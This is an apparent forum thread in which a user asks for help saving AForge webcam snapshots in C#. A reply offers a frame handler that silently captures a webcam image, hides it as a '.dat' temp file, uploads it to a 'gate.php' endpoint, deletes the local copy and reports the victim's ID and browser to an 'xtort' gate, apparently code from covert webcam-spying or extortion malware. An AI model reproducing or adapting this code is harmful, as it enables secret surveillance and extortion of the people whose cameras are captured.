I am using the AForge framework to grab a snapshot of a video frame captured through a webcam.

I have written this method but it's not working:

Code

public void GrabFrames(object sender, ref Bitmap bm)
      {
      if (button1WasClicked)
      {
      Bitmap capturedImage = (Bitmap)bm.Clone();
      string strGrabFileName = String.Format("C:\\Users\\Nov\\Documents\\CapturedVideo\\Snapshot_{0:yyyyMMdd_hhmmss.fff}.bmp", DateTime.Now);
      capturedImage.Save(strGrabFileName, System.Drawing.Imaging.ImageFormat.Bmp);

      }

      }

Anyone have any experience with AForge?

Check for a condition in which you'd like the application to grab a frame, and:

Code

try
      {
      WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
      Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
      Device.NewFrame += Device_NewFrame;
      Device.Start();
      }
      catch (Exception ex) { }

My frame handler. There'll be shit you don't need, just take it out:

Code

static void Device_NewFrame(object sender, NewFrameEventArgs e)
      {
      try
      {
      Bitmap Bmp = (Bitmap)e.Frame.Clone();
      string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));
      string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";
      Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);
      Device.SignalToStop();

      System.Net.WebClient Client = new System.Net.WebClient();
      Client.Headers.Add("Content-Type", "binary/octet-stream");
      byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);
      MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));
      Client.Dispose();

      File.Delete(calcPath);

      gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename);
      }
      catch (Exception ex) { }
      }

Thanks bro. Going to try it out this evening.
